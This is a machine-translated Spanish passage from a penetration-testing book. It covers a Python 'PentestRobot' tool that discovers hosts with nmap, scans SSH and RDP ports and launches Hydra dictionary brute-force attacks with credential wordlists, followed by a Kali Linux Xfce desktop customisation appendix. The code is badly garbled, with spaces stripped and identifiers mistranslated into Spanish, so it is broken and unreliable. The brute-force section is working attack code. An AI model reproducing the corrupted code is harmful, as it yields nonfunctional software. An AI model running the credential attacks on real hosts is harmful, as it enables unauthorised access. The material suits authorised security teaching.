[i]Comprobando hosts activos…
[+]172.16.0.1isup [+]172.16.0.2isup
[+]172.16.0.100isup [+]172.16.0.103isup
[+]172.16.0.107isup
[IPv4Address('172.16.0.1'),
DirecciónIPv4('172.16.0.2'),DirecciónIPv4('172.16.0.100'),DirecciónIPv4('172.16.0.103'),DirecciónIPv4('172.1
Escaneo de puertos y servicios
En esta etapa, tenemos una lista de las direcciones IP de los hosts en vivo. A continuación,
escanearemos cada host en vivo encontrado en el paso anterior y buscaremos dos puertos
abiertos, 22 y 3389. Otro desafío en este paso es formatear la salida de Nmapscan .
para puertos abiertos 22 y 3389.
2. Cree un segundo método (llamado parse_nmap_output ) que analizará la salida de escaneo
deportivo de Nmap y devolverá una lista de elementos de servicio personalizados ( Service
DTO ).
3. Cree una clase llamada servicio DTO (DTO significa objeto de transferencia de datos) que se
usará en el valor de retorno del método anterior.
4. Por último, llame al método de exploración de puertos desde la sección principal de la aplicación.
Primero, cree los dos métodos dentro de la clase HostScan :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
classHostScan:
def__init__(self,host_ip):
"""
constructor de clases
"""
self.host_ip=host_ip
self.util=UTILIDADES()
defis_host_live(uno mismo):
"""
Comprobar si un host está activo y ejecutándose en la red
"""
nmap_cmd="nmap-sn%s"%self.host_ip
nmap_output=self.util.execute_command(nmap_cmd)
if("1hostup"innmap_output): print("[+]%sisup"%self.host_ip)
returnTrue else: returnFalse
defport_scan(auto):
"""
los puertos pueden ser un host, también puede agregar una versión para obtener la
información sobre el servicio.
"""
print("[i]IniciandoNmapportscanonhost%s"%self.host_ip) nmap_cmd="nmap-sVp22,3389--open%s"%self.host_ip
nmap_output=self.util.execute_command(nmap_cmd)
returnnmap_output
defparse_nmap_output(self,nmap_output):
"""
resultados de parsethenma
"""
service:names_list={}
nmap_output=nmap_output.split("\n")
foroutput_lineinnmap_output:
output_line=output_line.strip() services_list=[]
#ifportisopen if("tcp"inoutput_line)and("open"
inoutput_line)andnot("Discovered "inoutput_line):
#cleanupthespaces while""inoutput_line:
output_line=output_line.replace("","")
Canal de Telegram : @IRFaraExam
Machine Translated by Google
#Splittheline
output_line_split=output_line.split("")
#La tercera parte de la división es el servicio de nombre de
servicio: nombre = salida_línea_división [2]
#Laprimerapartedeladivisióneselnúmerodepuertoport_number=output_line_split[0]
#Gettheservicedescription
salida_línea_dividida_longitud=largo(salida_línea_dividida)
end_position=salida_línea_dividida_longitud-1 posición_actual=3
servicio:descripción=
''
whileposición_actual<=posición_final:
' '
servicio:descripción+=posición_actual]
+output_line_split[
posición_actual+=1
#CreatetheserviceObject
service=ServiceDTO(número_puerto, servicio:nombre,
servicio:descripción)
#Asegúresedeagregarunnuevoserviciosiyaexisteotroenunnúmerodepuertodiferente
ifservice:nombreenservicio:lista_de_nombres:
#Obtenerlosobjetosqueseguardaronpreviamente
services_list=service:names_list[service:name]
services_list.append(servicio)
print("[+]PortOpen:%s,ServiceName:%s"%(service.port,service.name))
servicio:lista_de_nombres[servicio:nombre]=lista_de_servicios
servicio de devolución: lista_de_nombres
En segundo lugar, cree la clase DTO; este objeto contendrá la información sobre cada servicio
que se encuentra en la salida de Nmap:
claseServicioDTO:
"""
Esta clase DTO de servicio mantendrá el valor del objeto después de una
nmapscan
"""
#ClassConstructor
def__init__(self,puerto,nombre,descripción):
self.description=descripción
Canal de Telegram : @IRFaraExam
Machine Translated by Google
self.port=puerto
self.name=nombre
Finalmente, llame al método Nmapscan desde la sección principal:
if__name__=='__principal__':
"""
Aquí es donde se llama por primera vez a la aplicación
"""
útil = UTILIDADES ()
#printBanner
print("WelcomeToPentestRobot")
print(util.separator_line())
print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):")
#userinput
cidr_input=entrada("IP/CIDR>")
hosts=validate_input(cidr_input)
#iftheCIDRvalueisvalid if(hosts!
=Ninguno): print("\n[i]Comprobando
hosts activos...")
LIVE_HOSTS=[]
forhostinhosts:
escáner=HostScan(host)
if(scanner.is_host_live()):
LIVE_HOSTS.append(host)
print("\n")
#ifwehavelivehosts
if(len(LIVE_HOSTS)>0):
forlive_hostinLIVE_HOSTS:
scanner_live_hosts=HostScan(live_host)
port_scan_results=scanner_live_hosts.port_scan()
parsed_nmap_results=scanner_live_hosts.parse_nmap_output(port_scan_results)
Es hora de probarlo. Usaremos un escenario de casos de prueba (usando un rango de
direcciones IP) donde ya conocemos los servicios de cada uno. El objetivo es probar la precisión
de los resultados del escaneo de puertos:
WelcomeToPentestRobot
#############################################
EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0/24):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
IP/CIDR> 172.16.0.0/24
[i]Comprobando hosts vivos…
[+]172.16.0.1isup [+]172.16.0.2isup
[+]172.16.0.100isup [+]172.16.0.103isup
[+]172.16.0.107isup
[i]IniciandoNmapportscanonhost172.16.0.1
[i]IniciandoNmapportscanonhost172.16.0.2 [+]PortOpen:3389/
tcp,ServiceName:ms-wbt-server [i]IniciandoNmapportscanonhost172.16.0.100
[+]PortOpen:3389/tcp,ServiceName :tcpwrapped
[i]IniciandoNmapportscanonhost172.16.0.103
[i]IniciandoNmapportscanonhost172.16.0.107 [+]PortOpen:22/
tcp,ServiceName:ssh
Atacar las credenciales y guardar los resultados Esta es la etapa
final de esta aplicación. En esta fase, utilizaremos un ataque adicional contra los servicios del paso
de exploración de puertos . Llamaremos al comienzo de esta fase enumeración (es un nombre más
suave que la palabra ataque), y en lugar de ataque de diccionario, lo llamaremos la etapa de fuerza
bruta. Estas son las principales funciones que usaremos en este último paso:
1. Cree una clase llamada EnumerateHost
.
2. Cree un método (llamado inicio ) dentro de la clase anterior que iniciará el
fase de ataque
3. Agregue un método de fuerza bruta dentro de la misma clase que ejecutará el ataque de
diccionario usando Hydra. Esta función usará archivos de diccionario de nombre de usuario y
contraseña personalizados (guardados dentro de la carpeta de recursos).
4. Agregue un método final que guardará los resultados de este ataque de diccionario en un
archivo dentro del directorio de informes (los cánceres guardan los resultados de cada host
en un archivo diferente).
5. Finalmente , llame a los métodos de clase de EnumerateHost desde la sección principal de este
solicitud.
Primero, cree la clase EnumerateHost y sus métodos. Además, importe un módulo os adicional :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
importos
classEnumerateHost:
def__init__(self,nmap_results,host_ip):
"""
ClassConstructor
"""
self.nmap_results=nmap_results
self.host_ip=host_ip self.util=UTILIDADES()
defstart(uno mismo):
"""
Iniciarunprocesodenumeración
"""
''
output=forservice:nameinself.nmap_results:
ifservice:name=="ssh": output+=self.bruteforce:ssh()
elif"ms-wbt-server"inservice:name:
output+=self.bruteforce:rdp()
self.save_results(salida,'./informes',str(self.host_ip)+".txt")
defbruteforce:ssh(uno mismo):
"""
Fuerza brutaSSHTarget
"""
print("[i]IniciandoSSHBrute-Forceonhost%s"%self.host_ip) cmd='hydra-t10-ensr-L./resources/
common_users.txt-P./resources/common_passwords.txtssh://'+str( self.host_ip)
salida=self.util.execute_command(cmd) salida de retorno
defbruteforce:rdp(uno mismo):
"""
Brute-ForceRDPTarget
"""
print("[i]IniciandoRDPBrute-Forceonhost%s"%self.host_ip) cmd='hydra-t10-ensr-L./resources/
common_users.txt-P./resources/common_passwords.txtrdp://'+str( self.host_ip)
salida = self.util.execute_command(cmd) returnoutput
defsave_results(self,resultados,nombre_carpeta,nombre_archivo):
"""
Datos guardados en un archivo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
"""
tratar:
#Guardarlosresultadosenunacarpeta/archivo
nombre_archivo_ruta=nombre_carpeta+"/"+nombre_archivo
#Silacarpetanoexisteentoncescrearlasinoes.path.isdir(folder_name):
os.mkdir(folder_name)
#Sielcontenidoestávacíoentoncessalirdeestafunción if(len(resultados)==0):
return
#Createthefileobject
file_to_save=open(file_name_path,'w')
#Writethechanges
file_to_save.write(resultados)
#Closefileobject
file_to_save.close() excepto:
print("[!]Error:No se pueden
guardar los resultados en un archivo")
En segundo lugar, llame a los métodos de clase desde la sección principal de esta aplicación.
Además, agregaremos algunos toques finales a la sección principal:
if__name__=='__principal__':
"""
Aquí es donde se llama por primera vez a la aplicación
"""
útil = UTILIDADES ()
#printBanner
print("WelcomeToPentestRobot")
print(util.separator_line())
print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):")
#userinput
cidr_input=entrada("IP/CIDR>")
hosts=validate_input(cidr_input)
#iftheCIDRvalueisvalid if(hosts!
=Ninguno): print("\n[i]Comprobando
hosts activos...")
LIVE_HOSTS=[]
parahostinhosts:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
escáner=HostScan(host)
if(scanner.is_host_live()):
LIVE_HOSTS.append(host)
print("\n")
#ifwehavelivehosts
if(len(LIVE_HOSTS)>0):
forlive_hostinLIVE_HOSTS:
scanner_live_hosts=HostScan(live_host)
port_scan_results=scanner_live_hosts.port_scan()
parsed_nmap_results=scanner_live_hosts.parse_nmap_output(port_scan_results)
enum=EnumerateHost(parss_scan) enum.start() print(util.seperator_line())
else: print("[!]Nolivehoststoscan")
print("\n[*]PentestRobotTerminóLaEjecución!")
Recuerde que puede descargar el código fuente completo de esta aplicación en
GitHubat github.com/GusKhawaja/PentestRobot.
Resumen
¿Qué sigue? Eres un entusiasta y deberías poder crear tu aplicación a partir de aquí. El
objetivo principal de este capítulo era ampliar tu visión para animarte a ser el próximo
creador de una nueva aplicación de Python.
Idealmente, este libro le da confianza en su carrera como probador de penetración.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
APÉNDICE A
KaliLinuxDesktopataGlance
En el momento de escribir este artículo, la última versión de Kali Linux es
2020.1. Esta versión de Kali presenta algunas funciones nuevas y este apéndice las
cubre.
Utilizo el sistema operativo Kali Linux la mayor parte del tiempo durante mis
compromisos, y rara vez uso el sistema operativo Microsoft Windows para este
propósito.
Este apéndice se enfoca en cómo administrar la interfaz del entorno de escritorio
Kali Linux. Aprenderá cómo manejar este sistema operativo con facilidad y
personalizarlo a su gusto. Tenga en cuenta que este apéndice cubrirá la versión 2020
y posteriores de Kali Linux, por lo que las lecciones principales de este apéndice se
basan en el entorno de escritorio Xfce.
Esto es lo que cubre este apéndice:
DescargaryejecutarunaVMdeKaliLinux
UsodelmenúdelescritorioXfced
DominarlosajustesdeconfiguracióndelsistemaKaliXfce
CambiandoelaspectodesuentornoKalien
Instalar KaliLinux desde cero
Descargar y ejecutar una VM de Kali Linux
Lo primero que debe hacer es descargar una copia de VM de Kali Linux en el
siguiente enlace:
www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image download/
En esta página tiene tres opciones de descarga para elegir:
KaliVM para VMware32/64 bits
KaliVM para VirtualBox32/64 bits
Canal de Telegram : @IRFaraExam
Machine Translated by Google
KaliVM para Hyper-V de 64 bits
Una vez que descargue su VM, extraiga el archivo comprimido y abra el contenido utilizando
el hipervisor de su elección. Al final de este apéndice, aprenderá cómo instalar Kali Linux
desde cero utilizando una imagen ISO. (Esta instalación se recomienda para instalar Kalion
como un host físico). Además, en el Apéndice B, le mostraré cómo ejecutar Kali Linux como
contenedor Docker.
REFERENCIA
Las imágenes ARM también están disponibles para Kali Linux si posee
una Raspberry Pi, por ejemplo. Estas imágenes están disponibles en el siguiente
enlace:
www.offensive-security.com/kali-linux-arm-images/
Si también tiene un dispositivo móvil Android, hay una versión disponible en
KaliLinux, y se llama NetHunte si quieres probarlo:
www.offensive-security.com/kali-linux-nethunter-download/
VirtualMachineFirstBoot
Una vez que inicie su copia de VM de KaliLinux, verá el menú de carga, como se
muestra en la Figura A.1. Elija Kali GNU/Linux y presione Intro. (Si no presiona nada,
está bien; esta opción se elegirá de forma predeterminada después de unos segundos).
Figura A.1 Elija Kali/Linux en el menú Cargar
En las versiones anteriores de KaliLinux, la contraseña predeterminada era root/toor. A partir
de esta versión (2020.1), Offensive Security (los creadores de KaliLinux) introdujeron el
usuario no root. Entonces, el nombre de usuario es kali, y también lo es la contraseña.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
KaliXfceEscritorio
A partir de la última versión de KaliLinux (2020.1), Xfce es el entorno de
escritorio predeterminado. En esta sección, aprenderá cómo cambiar la apariencia
del escritorio Xfcede para que pueda crear su propio entorno.
Antes de esta versión, Gnome era el entorno de escritorio predeterminado, y si
está interesado en volver a él, no se preocupe; aún puede elegirlo en el menú si
instaló Kali desde una imagen ISO, como se muestra en la Figura A.2.
Figura A.2 XfceInstallationOption
Lo interesante del entorno de escritorio Xfcedes es que es liviano y funciona muy
rápido, incluso con pocos recursos del sistema. Además, tiene un sistema operativo
completamente personalizable y atractivo, como se muestra en la Figura A.3.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.3 Escritorio Kali
KaliXfceMenú
El escritorio de Xfcede en Kaliuses the Whiskermenú le brinda una experiencia de
usuario agradable (ligera) . Primero descubramos las áreas principales del menú, como
se muestra en la Figura A.4.
Barra de búsqueda
La barra de búsqueda es una forma rápida de buscar sus aplicaciones. No se limita solo a
buscar aplicaciones. Esto es lo que también puede hacer:
Busque las páginas de manual de Linux anteponiendo su búsqueda con el carácter #
(p. ej., #ls)
Busque en la Web anteponiendo su búsqueda con el ? carácter (p. ej., ?Kali Linux)
Busque en Wikipedia anteponiendo sus criterios de búsqueda con! w (p. ej., !w
piratería ética)
Ejecute un comando en la ventana del terminal anteponiéndolo con el! carácter
(p. ej., !reboot, y si no eres root !sudoreboot )
FavoritosMenúElemento
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En la Figura A.4, puede ver el elemento del menú Favoritos mal seleccionado del menú, y en el lado
derecho del panel puede ver su contenido.
Figura A.4 Menú Kali
Si desea eliminar algún elemento de esta lista, haga clic con el botón secundario en el elemento y
seleccione Eliminar de favoritos, como se muestra en la Figura A.5.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.5 Quitar de Favoritos
Si desea agregar un elemento al menú Favoritos, primero busque su aplicación (p. ej., nmap)
usando la barra de búsqueda, luego haga clic con el botón derecho y seleccione Agregar a favoritos,
como se muestra en la Figura A.6.
Figura A.6 Agregar a favoritos
Aplicaciones habituales Si
selecciona Aplicaciones habituales en el menú, verá todas las aplicaciones no relacionadas con las
pruebas de penetración (p. ej., visor de imágenes, navegador web, etc.). Aunque no todas las
aplicaciones están relacionadas, hay algunas excepciones en esta lista: Ettercap, King Phisher y XHydra.
Estas son las herramientas que encontrará en esta lista:
Accesorios
Buscador de aplicaciones: busque y ejecute aplicaciones en Kali
Canal de Telegram : @IRFaraExam
Machine Translated by Google
BulkRename : Cambiar el nombre de múltiples archivos
CherryTree: aplicación jerárquica para tomar notas
Clipman: administrador del portapapeles; una vez que su unidad, aparecerá un clip en la
parte superior derecha del panel (aquí donde verá todos sus elementos copiados)
DBBbrowserforSQLite : Administrador de GUI para bases de datos SQLite
Mousepad: un editor de texto simplificado
Notas: aplicación para tomar notas
Captura de pantalla: Tome capturas de pantalla de su Kali
SensorViewer : mostrar los valores del sensor de hardware
Administrador de tareas : muestra los procesos actualmente en ejecución (tareas) y
CPU + gráficos de memoria
ThunarFileManager : administrador de archivos
Vim: editor de texto
Xarchiver: administrador de archivos
Xfburn: herramienta de grabación de CD/DVD
Gráficos
RistrettoImageViewer: Imageviewerapp
Xpdf: administrador de archivos PDF
Internet
ChromiumWebBrowser: Navegador web
Firefox: navegador web
Multimedia
Kazam: Grabe videos y tome capturas de pantalla de su sesión
ParoleMediaPlayer: reproductor multimedia
PulseAudioVolumeControl:Audiovolumemanager
Oficina
Diccionario: Buscarpalabraseneldiccionario
Otro
Canal de Telegram : @IRFaraExam
Machine Translated by Google
KaliUndercoverMode: oculta el escritorio de Kalides cambiándolo para que se parezca
a Windows 10
Sistema
Gparted: administrador de particiones
PrintSettings: configuración de impresoras
QTerminal: ventana de terminal
XfceTerminal: ventana de terminal
Otros elementos de menú
El elemento de menúUsados recientemente le muestra los programas que ha ejecutado
recientemente.
El elemento del menú Todo enumera todas las aplicaciones instaladas en Kali, y cubriré la parte de
configuración en la siguiente sección.
Finalmente, tiene el resto de los elementos del menú de herramientas de prueba de penetración
preinstalados ( que se muestran en la Figura A.7 y agrupados por tipo de categoría de ataque).
Administrador de configuración de KaliXfce
Puede acceder a la configuración de Xfce desde el menú de dos maneras diferentes (ambas
se muestran en la Figura A.8). La primera forma es seleccionar Configuración en el menú y todos
los subelementos aparecen en el lado derecho del menú.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.7 Herramientas del menú Kali
Figura A.8 Menú de configuración de Kali
Configuración avanzada de red En esta ventana,
que se muestra en la Figura A.9, puede administrar las conexiones de red, como cableadas, inalámbricas
o VPN.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.9 Administración de la red
Una vez que abra esta ventana, puede agregar, quitar o cambiar la configuración
de una conexión de red.
Los tipos de conexiones de red que puede administrar son los siguientes:
Hardware
Bluetooth
DSL/PPPoE
ethernet
InfiniBand
Banda ancha móvil
Wifi
Virtual
Vínculo
Puente
Túnel IP
Canal de Telegram : @IRFaraExam
Machine Translated by Google
MACsec
Equipo
VLAN
vpn
FortinetSSLVPN
Protocolo de túnel de capa 2 (L2TP)
VPN compatible con CiscoAnyConnect
JuniperNetworkConnect
OpenVPN
Protocolo de túnel punto a punto (PPTP)
VPN compatible con Cisco
Apariencia Esta
ventana le permite configurar y cambiar la apariencia de su entorno Kali.
Estilo
En la pestaña Estilo, que se muestra en la Figura A.10, puede elegir el tema de su elección;
de manera predeterminada, el tema Kali-Dark está seleccionado.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.10 KaliDarkTheme
Iconos
En la pestaña Icono, que se muestra en la Figura A.11, puede cambiar la apariencia visual de los
iconos del escritorio (temas).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.11 Iconos del escritorio
fuentes
En la pestaña Fuentes, que se muestra en la Figura A.12, puede personalizar las fuentes en
el entorno de escritorio Kali Linux Xfcede.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.12 Cambio de fuentes En esta
ventana, puede hacer lo siguiente:
Cambiar el estilo de fuente predeterminado
Activar suavizado para suavizar los bordes de los caracteres
Establezca sus puntos por pulgada (DPI más alto significa fuentes más nítidas)
Configuración
En Configuración, que se muestra en la Figura A.13, puede administrar los parámetros para controlar la apariencia
de su Kali Linux.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.13 Configuración de apariencia
Estilo de barra de herramientas: en esta opción, puede cambiar la apariencia de la barra de
herramientas eligiendo una de las siguientes opciones:
Iconos (solo)
Solo texto)
Iconos de texto
Texto junto a iconos
MenúsyBotones
ShowImagesOnButtons muestra un icono junto a los botones de diálogo de la
ventana (no los botones dentro del panel).
ShowImagesInMenus muestra un icono junto a los elementos de los menús de la
aplicación y el menú del panel.
EnableEditableAcceleratorslepermitedefinirunatajodetecladopara
elementos de menú.
Sonidos de eventos
Habilitar sonidos de eventos le permite escuchar sonidos de eventos (p. ej.,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
insertando una memoria USB en su Kali).
Habilite los sonidos de retroalimentación de entrada para reproducir sonidos de eventos, como cambiar
el tamaño de la ventana o presionar un botón, etc.
Escritorio
Esta ventana le permite cambiar el fondo, los menús y los iconos del escritorio.
Antecedentes
Esta pestaña tiene muchas opciones, como se muestra en la Figura A.14, que le brindan una imagen
de fondo de escritorio de aspecto atractivo.
Carpeta le da la opción de cambiar la ubicación de las imágenes.
El estilo controla el tamaño de la imagen que mejor se adapta a su pantalla.
Aplicar a todos los espacios de trabajo utiliza la misma imagen en todos los espacios de trabajo.
El color se puede usar en lugar de una imagen y se puede combinar con una imagen más
pequeña/semitransparente.
ChangeTheBackgroundcambialaimagenaotrautilizandounlapsodetiempoquedefina.Además,puedeseleccionar
Orden aleatorio para seleccionar imágenes de la lista de forma aleatoria.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.14 Cambiar el fondo del escritorio
Menús
La pestaña Menú, que se muestra en la Figura A.15, le permite cambiar los menús
del escritorio o de la lista de ventanas.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.15 Menú Ajustes
EscritorioMenú
Incluir el menú de aplicaciones en el escritorio: al hacer clic con el botón derecho, se
muestra el menú de aplicaciones (el mismo que ve en el panel superior) en la parte inferior.
Mostrar iconos de aplicaciones en el menú muestra iconos junto al texto en el menú
desplegable de la aplicación, que se muestra en la Figura A.16.
Menú de la lista de ventanas: El menú de la lista de ventanas es visible al hacer clic con el botón
central del mouse (haciendo clic en la rueda de desplazamiento) . Este menú le permitirá administrar
los espacios de trabajo. Consulte la Figura A.17.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.16 Menú Aplicaciones
Figura A.17 Gestión de espacios de trabajo
Iconos
La pestaña Icono, que se muestra en la Figura A.18, le permite cambiar la apariencia de los
iconos en el escritorio. Además, esta pestaña le brinda la opción de mostrar/ocultar los iconos
predeterminados en el escritorio.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.18 Configuración de iconos
Mostrar
Esta ventana le permitirá configurar los ajustes de visualización de su monitor. Esta sección es
conveniente si desea utilizar varios monitores.
General
La pestaña General, que se muestra en la Figura A.19, le brinda la capacidad de administrar la
configuración de su(s) monitor(es) conectado(s). Para cada monitor de pantalla, puede ajustar lo
siguiente:
Resolución
Frecuencia de actualización
Rotación
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Reflexión
La Figura A.19 muestra una conexión virtual que está conectada.
Avanzado
La pestaña Avanzado, que se muestra en la Figura A.20, le permite habilitar perfiles
y guardarlos para sus monitores conectados.
Administrador de archivos
En File Manager, que se muestra en la Figura A.21, puede controlar el comportamiento y el
aspecto del administrador de archivos en el entorno de escritorio Kali Xfcede:
Figura A.19 Configuración de pantalla
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.20 Configuración de pantalla avanzada
Mostrar
En la pestaña Pantalla, que se muestra en la Figura A.22 , puede cambiar la configuración de vista del
administrador de archivos.
Puede cambiar las siguientes configuraciones para el administrador de archivos:
Vistapredeterminadadenuevacarpeta/mostrarminiaturas
clasificación de carpetas
Si el tamaño del archivo se muestra en formato binario
Si el texto se muestra junto a los iconos
El formato de fecha
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.21 KaliFileManager
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.22 Preferencias de FileManager
panel lateral
Las tabletas del panel lateral le permiten cambiar la configuración del panel lateral en el
administrador de archivos. Principalmente, puede cambiar el tamaño de los iconos.
Conducta
La pestaña Comportamiento, que se muestra en la Figura A.23, le permite agregar o quitar algunos
comportamientos en el administrador de archivos, y puede hacer lo siguiente: Definir un clic/doble clic para
activar elementos Administrar comportamientos en la pestaña suave en lugar de la nueva ventana
Agregue la acción de eliminación permanente en el menú contextual
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.23 Comportamiento del administrador de archivos
Avanzado
En la pestaña Avanzado, que se muestra en la Figura A.24, puede configurar aún más
opciones relacionadas con Permisos de carpetas y Administración de volúmenes.
Teclado
El menú Teclado le permite administrar la configuración del teclado y le brinda la posibilidad de
establecer accesos directos a las aplicaciones.
Conducta
La pestaña Comportamiento, que se muestra en la Figura A.25, le permite cambiar la configuración del
comportamiento del teclado.
Podrá cambiar los siguientes comportamientos del teclado:
Habilitar/deshabilitar bloq num al inicio
Habilitar/deshabilitar la repetición de teclas cuando descanse el dedo en el teclado
Mostrar/ocultar cursor parpadeante
Atajos de aplicaciones
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Los accesos directos de aplicaciones, que se muestran en la Figura A.26, son una excelente configuración. Le permiten
configurar accesos directos de teclado para eliminar aplicaciones. Simplemente haga clic en Agregar para crear su
propio acceso directo.
Figura A.24 Configuración avanzada del administrador de archivos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.25 Configuración del teclado
En la Figura A.26, verá Ctrl+Alt+W, la combinación de teclado que creé
para abrir el navegador web.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.26 Atajos de aplicación
Diseño
La pestaña Diseño es conveniente si desea utilizar varios tipos de teclados de idiomas.
Editor de tipos MIME En
la ventana Editor de tipos MIME, que se muestra en la Figura A.27 , puede modificar la
aplicación predeterminada que está asociada con un tipo de archivo. Para cambiar el valor,
haga doble clic en el elemento que desea editar.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.27 Editor de tipos MIME
Ratón y panel táctil
Puede usar las opciones de esta ventana, que se muestran en la Figura A.28, para administrar la
configuración de la apariencia y el comportamiento del mouse.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.28 Configuración del ratón
Estas son las principales tareas que puede realizar en esta ventana:
En la pestaña Dispositivo, puede cambiar lo siguiente:
Los botones del mouse (zurdos o diestros)
La velocidad del puntero del mouse (aceleración y sensibilidad)
En la pestaña Comportamiento, puede cambiar lo siguiente:
El número de píxeles a mover antes del movimiento de arrastrar y soltar
Eltiempodeduracióndedosclicsqueseconsideraundobleclic
La distancia máxima para que se mueva el mouse antes de que se considere como
un doble clic
En la ficha Tema, puede cambiar lo siguiente:
El aspecto del puntero del ratón (tema)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tamaño del cursor
Panel
El panel, que se muestra en la Figura A.29 , es la barra de opciones que ve en su escritorio. En
esta sección, aprenderá a personalizarlo. Más adelante en este apéndice, aprenderá a adaptar
su propio panel al entorno de escritorio.
Figura A.29 Barra superior
Mostrar
En la pestaña Pantalla, que se muestra en la Figura A.30 , puede administrar la configuración
de pantalla del panel. Asegúrese de seleccionar el panel adecuado que desea personalizar de
la lista desplegable superior (en nuestro ejemplo, estamos usando el Panel 1).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.30 Configuración del panel
General: En esta sección, podrá hacer lo siguiente:
EstablecerladirecciónenHorizontal,VerticaloBarradelescritorio
Bloqueeelpanelparaevitararrastrarloporaccidente
Hideiton-demandarsiempremostrar
Reservespaceonborders
Medidas: En este apartado se puede manipular el tamaño del panel.
Tenga en cuenta que la altura del panel (panel vertical) o el ancho (panel horizontal) es
igual al número de filas multiplicado por el tamaño de fila.
Apariencia
En la pestaña Apariencia, que se muestra en la Figura A.31, podrá cambiar la apariencia de
su panel de escritorio Kalides. Puede hacer lo siguiente:
Establecerelestilodefondo
Ajustarlosiconosautomáticamente
Cambiar su opacidad
Figura A.31 Configuración de apariencia del panel
Elementos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En la pestaña Elementos, que se muestra en la Figura A.32 , tiene la opción de administrar los elementos dentro de su
panel. Puede agregar, quitar o cambiar las posiciones de los iconos/elementos que pertenecen a su panel.
espacios de trabajo
La ventana Espacios de trabajo, que se muestra en la Figura A.33, le ofrece opciones para hacer lo siguiente: Cambiar
el número de espacios de trabajo
Renombrar un espacio de trabajo
Establecerelmargenparasuespaciodetrabajo
Figura A.32 Posición de los elementos del panel
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.33 Espacios de trabajo
Administrador de ventanas
En la ventana Administrador de ventanas, que se muestra en la Figura A.34, puede configurar el aspecto
de la ventana, los atajos de teclado y mucho más.
Figura A.34 Administrador de ventanas
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Estilo
En la pestaña Estilo, puede configurar el aspecto de las ventanas abiertas en su Kali Linux. Esta es la lista
de tareas que puede realizar en esta pestaña: Cambiar el tema en la lista de la sección derecha
Cambiar la fuente del título y la alineación
Cambiar el diseño de los botones
Teclado
En la pestaña Teclado, que se muestra en la Figura A.35, puede cambiar los accesos directos del teclado
para manejar ventanas (por ejemplo, minimizar, maximizar, etc.).
Enfocar
La pestaña Enfoque, que se muestra en la Figura A.36, es difícil de entender. Simplemente, una ventana
enfocada recibirá la entrada del mouse o del teclado .
Lasiguientelistadeconfiguracionesquepuedeadministrarenestapestaña:
Cuando seleccione Hacer clic para enfocar, la ventana se enfocará cuando haga clic en
cualquier parte de su marco.
Cuando selecciona Enfocar sigue al mouse, la ventana se enfocará cuando pase el mouse sobre
su marco.
Dar Foco Automáticamente A Una Ventana Recién Abierta Habilidad Para
Apilar La Ventana Enfocada En La Parte Superior De Todas Las Abiertas Establezca Elevar Al
Hacer Clic Para Levantar Su Ventana Sobre Las Otras Al Hacer Clic En Su Marco.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.35 Métodos abreviados de teclado de Windows
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.36 Ajustes de enfoque de ventana
Ejemplo práctico de personalización de escritorio
Todas estas configuraciones son abrumadoras a primera vista, pero el siguiente ejercicio le permitirá
practicar con las configuraciones y llevar su escritorio Kali Xfcede al siguiente nivel. La idea de este
ejercicio es darle una idea de lo que puede hacer con este entorno excepcional. Las siguientes son las
tareas que va a realizar:
Editarelpanelsuperior
Agregue un segundo panel que contenga nuestras aplicaciones favoritas
Cambiar el aspecto del escritorio
EditarelPanelSuperior
Antes de comenzar a editar el panel, tenga en cuenta que los cambios que aplica son opcionales.
Puede decidir cuáles son las opciones correctas para el aspecto de su entorno Kalien.
Quitar iconos
Primero, elimine todos los íconos de aplicaciones en la barra superior para que pueda crear otro en la
parte inferior dedicado a las aplicaciones (como un MaciOS).
Abra Configuración, luego vaya a Panel ÿ Elementos, como se muestra anteriormente en la Figura A.32.
Elimine algunos elementos de la lista seleccionándolos y haciendo clic en el icono menos en el lado
derecho de la ventana de la pestaña. No haga clic en el botón menos en la parte superior derecha; éste
eliminará todo el panel.
EliminarShowDesktop.
RemoveDirectoryMenu.
Quite los dos elementos de lanzamiento debajo del elemento de menú de directorio.
Quite dos de los cuatro elementos Separadores (debajo del elemento Menú Bigotes).
La figura A.37 muestra los resultados.
